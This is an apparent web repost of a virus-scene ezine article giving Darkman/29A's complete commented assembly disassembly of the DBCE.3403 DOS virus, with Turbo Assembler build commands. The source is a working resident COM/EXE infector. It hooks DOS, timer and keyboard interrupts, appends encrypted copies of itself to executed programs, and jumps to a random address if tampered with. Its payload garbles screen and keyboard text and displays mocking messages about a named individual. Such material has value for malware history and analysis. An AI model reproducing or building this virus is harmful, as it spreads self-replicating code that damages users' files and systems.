Copy Link
Add to Bookmark
Report

SLAM4.032: DBCE.3403 disassembled by Darkman/29a

eZine's profile picture
Published in 
Slam
 · 3 Mar 2022

DBCE.3403 Disassembly by Darkman/29A

DBCE.3403 is a 3403 bytes parasitic resident COM/EXE virus. Infects files at load and execute program, except COMMAND.COM, by appending the virus to the infected COM/EXE file. DBCE.3403 has an error handler and 8-bit exclusive OR (XOR) encryption in file.

To compile DBCE.3403 with Turbo Assembler v 4.0 type:

    TASM /M DBCE3403.ASM 
TLINK /x DBCE3403.OBJ
EXE2BIN DBCE3403.EXE DBCE3403.COM


code

.model tiny 
.code

code_begin:
mov ax,cs ; AX = code segment
virus_seg equ word ptr $+01h ; Segment of virus in paragraphs
add ax,10h ; Add segment of virus in paragrap...
push ax ; Save AX at stack

lea_ax_imm16 equ word ptr $+01h ; Offset of the immediate of LE...
lea ax,first_gen ; AX = offset of first_gen
push ax ; Save AX at stack

retf ; Return far!
decryptor:
lea si,infect_mark ; SI = offset of infect_mark
decrypt_loop:
dec si ; Decrease index register

add byte ptr cs:[si],07h

jmp_imm8 equ word ptr $ ; Offset of JMP imm8
jmp decrypt_loop
crypt_begin:
integr_begin:
mov ah,0feh ; DBCE.3403 function
int 21h

push es ; Save ES at stack
cmp ah,69h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit

mov ah,2ah ; Get system date
int 21h

cmp cx,7C9h ; 1993?
je allocate_mem ; Equal? Jump to allocate_mem
cmp cx,7Cah ; 1994?
ja virus_exit ; Above? Jump to virus_exit
cmp dh,07h ; July?
jb allocate_mem ; Below? Jump to allocate_mem
ja virus_exit ; Above? Jump to virus_exit
cmp dl,09h ; 9th July?
jbe allocate_mem ; Below or equal? Jump to allocate...
virus_exit:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

pop es ; Load ES from stack

cmp word ptr [file_header],'ZM'
je vir_exe_exit ; Equal? Jump to vir_exe_exit

lea si,file_header ; SI = offset of file_header
mov di,100h ; DI = offset of beginning of code
mov cx,03h ; Move three bytes
rep movsb ; Move the original code to beginning

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

push es ; Save ES at stack

mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack

jmp zero_regs
vir_exe_exit:
mov bx,es ; BX = segment of PSP for current ...
add bx,10h ; BX = segment of beginning of EXE...

mov ax,[initial_ss] ; AX = initial SS relative to star...
add ax,bx ; Add segment of beginning of EXE ...
mov ss,ax ; SS = initial SS relative to star...

mov ax,[initial_sp] ; AX = initial SP
mov sp,ax ; SP = " "

mov ax,[initial_cs] ; AX = initial CS relative to star...
add ax,bx ; Add segment of beginning of EXE ...
push ax ; Save AX at stack

mov ax,[initial_ip] ; AX = initial IP
push ax ; Save AX at stack

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
zero_regs:
xor ax,ax ; Zero AX
xor bx,bx ; " BX
xor cx,cx ; " CX
xor dx,dx ; " DX
xor si,si ; " SI
xor di,di ; " DI

retf ; Return far!
allocate_mem:
mov ah,49h ; Free memory
int 21h

mov ah,48h ; Allocate memory
mov bx,0ffffh ; BX = number of paragraphs to all...
int 21h

mov ah,4ah ; Resize memory block
sub bx,((data_end_-code_begin)-(random_end-random_begin)+0fh)/10h-01h
int 21h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ah,4ah ; Resize memory block
mov cx,es ; CX = segment of PSP for current ...
stc ; Set carry flag
adc cx,bx ; Add maximum available for specif...
mov bx,((data_end_-code_begin)-(random_end-random_begin)+0fh)/10h-02h
stc ; Set carry flag
sbb es:[02h],bx ; Subtract size of the virus in pa...
mov es,cx ; ES = segment of block to resize
int 21h

dec ax ; AX = segment of virus Memory Con...
mov ds,ax ; DS = " " " " "

mov word ptr ds:[01h],08h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(data_end-code_begin)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack

lea ax,get_set_int ; AX = offset of get_set_int
push ax ; Save AX at stack

retf ; Return far!
get_set_int:
mov bx,(21h*04h) ; Get and set interrupt vector 21h
lea dx,int21_virus ; DX = offet of int21_virus
lea bp,int21_addr ; BP = offset of int21_addr
call get_set_int_

mov bx,(08h*04h) ; Get and set interrupt vector 08h
lea dx,int08_virus ; DX = offet of int08_virus
lea bp,int08_addr ; BP = offset of int08_addr
call get_set_int_

mov bx,(09h*04h) ; Get and set interrupt vector 09h
lea dx,int09_virus ; DX = offet of int09_virus
lea bp,int09_addr ; BP = offset of int09_addr
call get_set_int_

xor ax,ax ; Zero AX
mov cx,(random_end-random_begin)/02h
lea di,random_off ; DI = offset of random_off
rep stosw ; Store zero

mov ah,0fh ; Get current video mode
int 10h
cmp al,07h ; Monochrome?
je monochrome ; Equal? Jump to monochrome

mov cs:[video_addr],0b800h

jmp init_random
monochrome:
mov cs:[video_addr],0b000h
init_random:
call init_random_

jmp virus_exit

get_set_int_ proc near ; Get and set interrupt vector
push ds ; Save DS at stack

xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table

mov ax,[bx] ; AX = offset of interrupt
mov cs:[bp],ax ; Store offset of interrupt
mov ax,[bx+02h] ; AX = segment of interupt
mov cs:[bp+02h],ax ; Store segment of interrupt

cli ; Clear interrupt-enable flag
mov [bx],dx ; Store offset of interrupt
mov [bx+02h],cs ; Store segment of interrupt
sti ; Set interrupt-enable flag

pop ds ; Save DS at stack

ret ; Return!
endp

int24_virus proc near ; Interrupt 24h of DBCE.3403
xor al,al ; Ignore error and continue proces...

iret ; Interrupt return!
endp

int21_virus proc near ; Interrupt 21h of DBCE.3403
pushf ; Save flags at stack

cmp ah,0feh ; DBCE.3403 function?
jne test_functio ; Not equal? Jump to test_functio

mov ah,69h ; Already resident

popf ; Load flags from stack

iret ; Interrupt return!
test_functio:
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe

popf ; Load flags from stack

jmp cs:[int21_addr]
endp
load_and_exe:
mov cs:[data_segment],ds

push bx cx si di ds es dx

pushf ; Save flags at stack
call cs:[int21_addr]

call calc_video

mov cx,190h ; Clear the first four-hundred cha...
xor di,di ; Zero DI
video_loop:
mov byte ptr es:[di],00h

inc di ; Increase index register
inc di ; " " "

loop video_loop

mov ah,0fh ; Get current video mode
int 10h

push bx ; Save BX at stack
mov ah,02h ; Set cursor position
xor dx,dx ; Zero DX
int 10h

mov bx,0ah ; Random number within ten
call rnd_in_range

mov si,ax ; SI = random number within ten
shl si,01h ; Multiply random number within te...

mov word ptr ds:[exam_offset],320h

mov ah,09h ; Write string to standard output
or si,si ; Offset of you_have_the?
jz write_str ; Zero? Jump to write_str
lea dx,amidst_dale_ ; DX = offset of amidst_dale_
int 21h

mov bx,03h ; Random number within three
call rnd_in_range

shl ax,01h ; Multiply random number within th...
mov di,ax ; DI = random number within three ...

mov ah,09h ; Write string to standard output
mov dx,[di+random_msg] ; DX = offset within random_msg
int 21h

lea dx,__the_follow ; DX = offset of __the_follow
int 21h
write_str:
mov dx,[si+random_msg_] ; DX = offset within random_msg_
int 21h

mov cx,190h ; Set the color for three hundred ...
xor di,di ; Zero DI
video_loop_:
mov byte ptr es:[di+01h],40h

inc di ; Increase index register
inc di ; " " "

loop video_loop_
pop bx ; Load BX from stack

mov ah,02h ; Set cursor position
mov dx,500h ; DX = row and column
int 10h

pop dx es ds di si cx bx
push bx cx si di ds es dx

push ds ; Save DS at stack
pop es ; Load ES from stack (DS)

cld ; Clear direction flag
xor al,al ; Zero AL
mov cx,41h ; Search through sixty-five bytes
mov di,dx ; DI = offset of filename
repne scasb ; Find end of filename

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

push di ; Save DI at stack
pop si ; Load SI from stack (DI)

sub si,0ch ; Subtract twelve from offset of f...
lea di,command_com ; DI = offset of command_com
mov cx,0bh ; Compare eleven bytes
rep cmpsb ; Compare filename
jne load_info ; Not equal? Jump to load_info
infect_exit_:
jmp infect_exit
load_info:
mov ax,4300h ; Get file attributes
pop dx ; Load DX from stack
push dx ; Save DX at stack
int 21h
jc infect_exit_ ; Error? Jump to infect_exit_
mov cs:[file_attr],cx ; Store file attributes

mov bx,(24h*04h) ; Set interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
lea bp,int24_addr ; BP = offset of int24_addr
call get_set_int_

call calc_integri

mov ax,4301h ; Set file attributes
xor cx,cx ; CX = new file attributes
pop dx ; Load DX from stack
push dx ; Save DX at stack
int 21h
jc infect_exit_ ; Error? Jump to infect_exit_

mov ax,3d02h ; Open file (read/write)
int 21h
jc find_f_error ; Error? Jump to find_f_error
mov cs:[file_handle],ax ; Store file handle

mov ah,4eh ; Find first matching file
int 21h
find_f_error:
jc set_cu_error ; Error? Jump to set_cu_error

mov ax,4202h ; Set current file position (EOF)
mov bx,cs:[file_handle] ; BX = file handle
mov cx,-01h ; CX:DX = offset from origin of ne...
mov dx,-06h ; " " " " " " "
int 21h
set_cu_error:
jc read_error ; Error? Jump to read_error

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

mov ah,3fh ; Read from file
mov cx,06h ; Read six bytes
lea dx,infect_mark_ ; DX = offset of infect_mark_
int 21h
read_error:
jc carry_error ; Error? Jump to carry_error

lea si,infect_mark ; SI = offset of infect_mark
mov di,dx ; DI = offset of infect_mark_
rep cmpsb ; Compare infection mark
jne get_dta_addr ; Not previously infected? Jump to...

jmp close_file
get_dta_addr:
mov ah,2fh ; Get disk transfer area address
int 21h

mov cx,es:[bx+16h] ; CX = file time
mov dx,es:[bx+18h] ; DX = file date
mov [file_time],cx ; Store file time
mov [file_date],dx ; Store file date

mov ax,es:[bx+1ah] ; AX = low-order word of filesize
mov cx,es:[bx+1ch] ; CX = high-order word of filesize

or cx,cx ; Too small in filesize?
jnz calc_paragra ; Not zero? Jump to calc_paragra
cmp ax,100h ; Too small in filesize?
jae calc_paragra ; Above or equal? Jump to calc_par...

stc ; Set carry flag

jmp carry_error
calc_paragra:
push ax ; Save AX at stack
mov dx,cx ; DX = high-order word of filesize

mov bx,10h ; Divide by paragraphs
div bx ; DX:AX = filesize in paragraphs
add ax,10h ; Add size of Program Segment Pref...
mov [virus_seg],ax ; Store segment of virus in paragr...

or dx,dx ; Zero remainder?
pop ax ; Load AX from stack
jz store_size ; Zero? Jump to store_size

inc [virus_seg] ; Increase segment of virus in par...

add ax,10h ; Add size of Program Segment Pref...
sub ax,dx ; Subtract remainder from filesize...
store_size:
mov word ptr [filesize],cx
mov word ptr [filesize+02h],ax

mov [virus_offset],ax ; Store offset of virus within inf...
sub [virus_offset],03h ; Subtract size of JMP imm16 opcod...
carry_error:
jc set_c_error ; Error? Jump to set_c_error

mov ax,4200h ; Set current file position (SOF)
mov bx,[file_handle] ; BX = file handle
xor cx,cx ; Zero CX
xor dx,dx ; " DX
int 21h
set_c_error:
jc read_error_ ; Error? Jump to read_error_

mov ah,3fh ; Read from file
mov cx,18h ; Read twenty-four bytes
lea dx,file_header ; DX = offset of file_header
int 21h
read_error_:
jc set_c_error_ ; Error? Jump to set_c_error_

cmp word ptr [file_header],'ZM'
je move_header ; Found EXE signature? Jump to mov...

mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
int 21h
set_c_error_:
jc move_header ; Error? Jump to move_header

mov ah,40h ; Write to file
mov cx,03h ; Write three bytes
lea dx,infect_code ; DX = offset of infect_code
int 21h

jmp write_error
move_header:
mov ax,word ptr [file_header+0eh]
mov [initial_ss],ax ; Store initial SS relative to sta...
mov ax,word ptr [file_header+10h]
mov [initial_sp],ax ; Store initial SP
mov ax,word ptr [file_header+14h]
mov [initial_ip],ax ; Store initial IP
mov ax,word ptr [file_header+16h]
mov [initial_cs],ax ; Store initial CS relative to sta...

mov ax,word ptr [filesize+02h]
mov dx,word ptr [filesize]

add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
jc set__error ; Error? Jump to set__error
div [divide_pages] ; DX:AX = filesize in pages

or dx,dx ; No bytes in last 512-bytes page ...
je dont_inc_pag ; Equal? Jump to dont_inc_pag

inc ax ; Increase total number of 512-byt...
dont_inc_pag:
mov word ptr [file_header+04h],ax
mov word ptr [file_header+02h],dx

mov ax,word ptr [filesize+02h]
mov dx,word ptr [filesize]

div [divide_parag] ; DX:AX = filesize in paragraphs
sub ax,word ptr [file_header+08h]

mov word ptr [file_header+16h],ax
mov word ptr [file_header+14h],00h

add ax,(code_end-code_begin)/10h

mov word ptr [file_header+0eh],ax
mov word ptr [file_header+10h],100h

mov [virus_seg],00h ; Store segment of virus in paragr...

mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
int 21h
set__error:
jc write_error ; Error? Jump to write_error

mov ah,40h ; Write to file
mov cx,18h ; Write twenty-four bytes
lea dx,file_header ; DX = offset of file_header
int 21h
write_error:
jc set__error_ ; Error? Jump to set__error_

mov ax,4200h ; Set current file position (SOF)
mov cx,word ptr [filesize]
mov dx,word ptr [filesize+02h]
int 21h
set__error_:
jc save_info ; Error? Jump to save_info

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

mov [jmp_imm8],1111100111101011b

xor si,si ; Zero SI
lea di,data_end ; DI = offset of data_end
mov cx,(code_end-code_begin)
rep movsb ; Create a copy of the virus

lea si,data_end+15h ; SI = offset of data_end + 15h
mov cx,(crypt_end-crypt_begin)
encrypt_loop:
sub byte ptr [si],07h ; Encrypt byte

inc si ; Increase index register

loop encrypt_loop

mov ah,40h ; Write to file
mov cx,(code_end-code_begin)
lea dx,data_end ; DX = offset of data_end
int 21h
save_info:
mov ax,5701h ; Set file's date and time
mov cx,[file_time] ; CX = new time
mov dx,[file_date] ; DX = new date
int 21h
close_file:
mov ah,3eh ; Close file
int 21h

mov ax,[data_segment] ; AX = data segment
mov ds,ax ; DS = " "

mov ax,4301h ; Set file attributes
mov cx,cs:[file_attr] ; CX = new file attributes
pop dx ; Load DX from stack
push dx ; Save DX at stack
int 21h

les dx,[int24_addr] ; ES:DX = pointer to interrupt 24h
xor ax,ax ; Zero AX
mov ds,ax ; DS = segment of interrupt table
mov ds:[24h*04h],dx ; Store offset of interrupt 24h
mov ds:[24h*04h+02h],es ; Store segment of interrupt 24h
infect_exit:
pop dx es ds di si cx bx
popf ; Load flags from stack

iret ; Interrupt return!

int08_virus proc near ; Interrupt 08h of DBCE.3403
pushf ; Save flags at stack

pushf ; Save flags at stack
call cs:[int08_addr]

cmp cs:[examining],01h ; Already examining the video pag...?
jne exam_video ; Not equal? Jump to exam_video

popf ; Load flags from stack

iret ; Interrupt return!
endp
exam_video:
mov cs:[examining],01h ; Examining the video page (regen ...

sti ; Set interrupt-enable flag

push ax bx cx dx si di bp ds es

call calc_video

mov ax,40h ; AX = segment of BIOS data segment
mov ds,ax ; DS = " " " " "
mov bp,ds:[4ch] ; BP = video page (regen buffer) s...

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov di,[exam_offset] ; DI = current offset under examin...
mov cx,50h ; Search through eighty bytes
cld ; Clear direction flag
find_virus:
lea si,computer_vir+0ah ; SI = offset of computer_vir + 0ah
find_virus_:
lodsb ; AL = byte of computer_vir

inc di ; Increase index register
inc di ; " " "

mov ah,es:[di] ; AH = byte of segment within vide...
mov dl,00h ; Upcase character

cmp ah,'A' ; Text?
jb examine_text ; Below? Jump to examine_text
cmp ah,'Z' ; Text?
ja examine_text ; Above? Jump to examine_text

add ah,20h ; Lowcase character
mov dl,01h ; Lowcase character
examine_text:
cmp ah,al ; Found character?
jne not_found ; Not equal? Jump to not_found

cmp si,offset computer_vir+0fh
je store_clank ; Equal? Jump to store_clank

jmp find_virus_
not_found:
jcxz test_offset ; Zero CX? Jump to test_offset

dec cx ; Decrease CX

cmp si,offset computer_vir+0bh
jbe find_virus ; Below or equal? Jump to find_virus

dec di ; Decrease index register
dec di ; " " "

jmp find_virus
test_offset:
cmp di,bp ; End of video page (regen buffer)...
jb add_to_off ; Below? Jump to add_to_off

mov [exam_offset],00h ; Set current offset under examina...

mov di,51h ; DI = current offset under examin...
cmp byte ptr es:[di],40h
jne int08_exit ; Not equal? Jump to int08_exit

mov [exam_offset],320h ; Set current offset under examina...

jmp int08_exit
add_to_off:
add [exam_offset],0a0h ; Add hundred and sixty to current...

jmp int08_exit
store_clank:
mov cx,05h ; Store five bytes
lea si,computer_vir+12h ; SI = offset of computer_vir + 12h
sub di,08h ; Subtract eight from current offs...
store_loop:
lodsb ; AL = byte of computer_vir

cmp dl,01h ; Upcase character?
jne lowcase_char ; Not equal? Jump to lowcase_char

sub al,20h ; Upcase character
lowcase_char:
stosb ; Store byte of computer_vir

inc di ; Increase index register

loop store_loop

mov al,es:[di] ; AL = byte of segment within vide...

cmp al,'E' ; Found a 'E' in the video page (r...
je store_an_i ; Equal? Jump to store_an_i
cmp al,'e' ; Found a 'e' in the video page (r...
jne int08_exit ; Not equal? Jump to int08_exit
store_an_i:
mov al,'i' ; Convert the found 'e' to an 'i'

cmp dl,01h ; Upcase character?
jne lowcase_ch__ ; Not equal? Jump to lowcase_ch__

mov al,'I' ; Convert the found 'E' to an 'I'
lowcase_ch__:
stosb ; Store a 'i' or a 'I' in the vide...

inc di ; Increase index register

stosb ; Store a 'i' or a 'I' in the vide...
int08_exit:
pop es ds bp di si dx cx bx ax
popf ; Load flags from stack

mov cs:[examining],00h ; Ain't examining the video page (...

iret ; Interrupt return!

calc_video proc near ; Calculate segment within video m...
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov cx,[video_addr] ; CX = video mode address

mov ah,0fh ; Get current video mode
xor bh,bh ; Zero BH
int 10h

mov ax,100h ; Multiply by two hundred and fixt...
xchg bh,bl ; BL = active page
mul bx ; DX:AX = pages multiplied by two ...

add cx,ax ; Add pages multiplied by two hund...
mov es,cx ; ES = segment within video mode a...

ret ; Return!
endp

int09_virus proc near ; Interrupt 09h of DBCE.3403
pushf ; Save flags at stack

pushf ; Save flags at stack
call cs:[int09_addr]

cli ; Clear interrupt-enable flag

push bx cx dx si di ds es

mov bx,40h ; BX = segment of BIOS data segment
mov ds,bx ; DS = " " " " "

mov bx,ds:[1ch] ; BX = pointer to first free slot ...
cmp bx,ds:[1ah] ; Pointer to first free slot in ke...
je int09_exit ; Equal? Jump to int09_exit

sub bx,02h ; Subtract two from pointer to fir...

cmp bx,1eh ; Beginning of keyboard circular b...
jnb reset_offset ; Not below? Jump to reset_offset

mov bx,3ch ; BX = End of keyboard circular bu...
reset_offset:
mov dx,[bx] ; DX = word of keyboard circular b...
mov dh,00h ; Upcase character

cmp dl,'A' ; Text?
jb examine_tex_ ; Below? Jump to examine_tex_
cmp dl,'Z' ; Text?
ja examine_tex_ ; Above? Jump to examine_tex_

add dl,20h ; Lowcase character
inc dh ; Lowcase character
examine_tex_:
mov si,cs:[exam_offset_]

cmp dl,cs:[si] ; Equal to the byte from the keybo...
jne reset_offse_ ; Not equal? jump to reset_offse_

inc cs:[exam_offset_] ; Increase Current offset under ex...

cmp si,offset computer_vir+0eh
jb int09_exit ; Below? Jump to int09_exit

mov byte ptr ds:[1ah],1eh
mov byte ptr ds:[1ch],3ah

mov byte ptr ds:[1eh],08h
mov byte ptr ds:[20h],08h
mov byte ptr ds:[22h],08h
mov byte ptr ds:[24h],08h

push ds ; Save DS at stack
pop es ; Load ES from stack (DS)

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov cx,0ah ; Compare ten bytes
lea si,computer_vir+12h ; SI = offset of computer + 12h
mov di,26h ; DI = offset within keyboard circ...
store_loop_:
lodsb ; AL = byte of computer_vir

cmp dh,01h ; Upcase character?
jne lowcase_cha_ ; Not equal? Jump to lowcase_cha_

sub al,20h ; Upcase character
lowcase_cha_:
stosb ; Store byte of computer_vir

inc di ; Increase index register

loop store_loop_

jmp int09_exit
reset_offse_:
mov cs:[exam_offset_],offset computer_vir+0ah
int09_exit:
sti ; Set interrupt-enable flag

pop es ds di si dx cx bx

popf ; Load flags from stack

iret ; Interrupt return!
endp

init_random_ proc near ; Initialize random number
push ds si dx cx bx ; Save registers at stack

xor ah,ah ; Get system time
int 1ah

in al,40h ; AL = 8-bit random number
mov ah,al ; AH = " " "
in al,40h ; AX = 16-bit random number

xor ax,cx ; AX = low-order word of random nu...
xor dx,ax ; DX = high-order word of random n...

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea si,random_off ; SI = offset of random_off

xor bh,bh ; Zero BH

jmp store_random

rnd_in_range proc near ; Random number within range
push ds si dx cx bx ; Save registers at stack

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea si,random_off ; SI = offset of random_table
mov bl,[si] ; BL = offset within the table of ...
xor bh,bh ; Zero BH

mov ax,[bx+si+02h] ; AX = low-order word of random nu...
mov dx,[bx+si+04h] ; DX = high-order word of random n...

add byte ptr [si],04h ; Add four to the offset within th...

mov cx,07h ; Modify the random number seven t...
random_loop:
shl ax,01h ; Multiply low-order word of rando...
rcl dx,01h ; Rorate high-order word of random...

mov bl,al ; BL = low-order byte of low-order...

xor bl,dh ; Exclusive OR high-order byte of ...
jns dont_inc_rnd ; No sign? Jump to dont_inc_rnd

inc al ; Increase low-order byte of low-o...
dont_inc_rnd:
loop random_loop
store_random:
mov bl,[si+01h] ; BL = offset within the table of ...

mov [bx+si+02h],ax ; Store the low-order word of the ...
mov [bx+si+04h],dx ; Store the high-order word of the...

add bl,04h ; Add four to the offset within ta...
mov [si+01h],bl ; Store offset within the table of...

mov al,dl ; AL = low-order byte of high-orde...
cmp bl,[si] ; Next offset within the table of...?
jne dont_add_off ; not equal? Jump to dont_add_off

add byte ptr [si],04h ; Add four to the offset within th...
dont_add_off:
pop bx ; Load BX from stack
push bx ; Save BX at stack

xor dx,dx ; Zero DX
mul bx ; DX:AX = random number mutiplied ...

mov bx,0ffffh ; Divide by sixty-five thousand an...
div bx ; AX = random number within range

pop bx cx dx si ds ; Load registers from stack

ret ; Return!
endp
endp

command_com db 'COMMAND.COM' ; COMMAND.COM
divide_pages dw 200h ; Divide by pages
divide_parag dw 10h ; Divide by paragraphs
random_msg dw driveling ; Offset of driveling
dw clank_clunki ; Offset of clank_clunki
dw rubishy_rubi ; Offset of rubishy_rubi
random_msg_ dw you_have_the ; Offset of you_have_the
dw in_my_assesm ; Offset of in_my_assesm
dw a__virus__or ; Offset of a__virus__or
dw the_clankswe ; Offset of the_clankswe
dw pseudoviruse ; Offset of pseudoviruse
dw computer_vir ; Offset of computer_vir
dw rpm_is_not_s ; Offset of rpm_is_not_s
dw the_purity_o ; Offset of the_purity_o
dw any_so_calle ; Offset of any_so_calle
dw if_a_pseudov ; Offset of if_a_pseudov
amidst_dale_ db 'Amidst Dale Beaudoin''s $'
driveling db 'driveling$'
clank_clunki db 'clank clunking crap$'
rubishy_rubi db 'rubishy rubish$'
__the_follow db ', the following wisdom spews forth:',0ah,0dh,'$'
you_have_the db 'You have the Dale Beaudoin Clankswerks Engine by pseudoVirus writer Virotech!',0ah,0dh
db 'This crude clankswerks was quickly and sloppily put together just like',0ah,0dh
db 'Dale''s Fido messages.$'
in_my_assesm db 'In my assesment there is ways and means to break new ground in the',0ah,0dh
db 'computer sciences. virus not= virus. virus = clankswerks engine!$'
a__virus__or db 'A "virus" or "trojan" that attempts to do a DIRECT WRITE bypassing the',0ah,0dh
db 'operating system is not a virus. It is a mathclanking engine.$'
the_clankswe db 'The clankswerks "appears" to have a measure of stealth by passing DOS but',0ah,0dh
db 'the intent is more deliberate than stealthy. The "formula" or "equation"',0ah,0dh
db 'is designed with a directive.$'
pseudoviruse db 'PseudoViruses deliberately mathclank other software programs. They are',0ah,0dh
db 'not true viruses.$'
computer_vir db 'Computer "virus" (clankswerks) do not replicate, they iterate,',0ah,0dh
db 'decrementally and incrementally through a math engine dependent on a',0ah,0dh
db 'specific order of operations.$'
rpm_is_not_s db 'RPM is not software intergrated. IDE drives I have worked with often',0ah,0dh
db 'have the platter scored after subject to a clankswerks. If the controller',0ah,0dh
db 'would to do a seek in a tight loop the harmonics would be enough to allow',0ah,0dh
db 'the heads to crash through the air-bearing.$'
the_purity_o db 'The purity of the overall engine is mathclanked by the deliberate',0ah,0dh
db 'alteration of one of the subsets. That alteration is dependent on the',0ah,0dh
db 'works of an human idiot math-clanker. It is illegal and not natural.$'
any_so_calle db 'Any so called virus that can take instrucution to lift attributes has to',0ah,0dh
db 'be artificially intelligent.$'
if_a_pseudov db 'If a pseudoVirus consults the COMSPEC to find the original copy of',0ah,0dh
db 'COMMAND.COM, all you have to do is use debug and rename COMSPEC and',0ah,0dh
db 'COMMAND.COM. Change the varialbe and tell your virus to decipher it! If',0ah,0dh
db 'it does consult or decipher then it''s AI, not virus.$'
integr_end:
calc_integri proc near ; Calculate integrity of DBCE.3403
lea si,integr_begin ; SI = offset of integr_begin
mov cx,(integr_end-integr_begin)
xor ax,ax ; Zero AX
integri_loop:
add al,cs:[si] ; AL = integrity of DBCE.3403

inc si ; Increase index register

loop integri_loop

cmp al,6eh ; Correct integrity
je integri_exit ; Equal? Jump to integri_exit

mov bx,0ffffh ; Random number within sixty-five ...
call rnd_in_range

jmp ax
integri_exit:
ret ; Return!
endp

virus_offset equ word ptr $+01h ; Offset of virus within infected ...
infect_code db 0e9h,?,? ; JMP imm16 (opcode 0e9h)
initial_cs dw ? ; Initial CS relative to start of ...
initial_ip dw ? ; Initial IP
initial_ss dw ? ; Initial SS relative to start of ...
initial_sp dw ? ; Initial SP
file_header db 0cdh,20h,16h dup(?) ; File header
crypt_end:
infect_mark db '[DBCE]' ; Infection mark
code_end:
int08_addr dd ? ; Address of interrupt 08h
int09_addr dd ? ; Address of interrupt 09h
int21_addr dd ? ; Address of interrupt 21h
int24_addr dd ? ; Address of interrupt 24h
file_handle dw ? ; File handle
file_attr dw ? ; File attributes
file_date dw ? ; File date
file_time dw ? ; File time
filesize dd ? ; Filesize
data_segment dw ? ; Data segment
infect_mark_ db 06h dup(?) ; Infection mark
video_addr dw ? ; Video mode address
exam_offset dw ? ; Current offset under examination
exam_offset_ dw ? ; " " " "
examining db ? ; Examining the video page (regen ...
random_begin:
random_off dw ? ; Offset within the table of rando...
random_table dw 80h dup(?) ; Table of random numbers
random_end:
data_end:
db (data_end-code_begin) dup(?)
data_end_:
first_gen:
mov [lea_ax_imm16+100h],offset decryptor

jmp crypt_begin

end code_begin

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT